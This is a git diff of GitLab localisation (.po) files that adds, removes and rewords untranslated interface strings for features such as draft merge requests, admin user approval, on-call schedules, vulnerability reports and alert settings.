-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/bn_IN/gitlab.po b/locale/bn_IN/gitlab.po
index 29a8842c251..963e5174709 100644
--- a/locale/bn_IN/gitlab.po
+++ b/locale/bn_IN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: bn-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:44\n"
+"PO-Revision-Date: 2020-12-03 08:13\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
